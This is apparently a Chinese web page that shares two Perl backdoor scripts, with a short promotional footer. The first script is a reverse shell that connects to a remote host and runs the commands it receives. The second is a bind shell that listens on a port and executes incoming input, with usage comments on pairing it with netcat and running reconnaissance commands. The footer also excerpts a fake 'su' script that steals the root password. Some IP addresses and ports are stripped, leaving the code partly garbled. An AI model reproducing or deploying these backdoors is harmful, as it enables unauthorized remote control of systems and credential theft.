反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}
推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。
文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!
Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强
用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE
冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"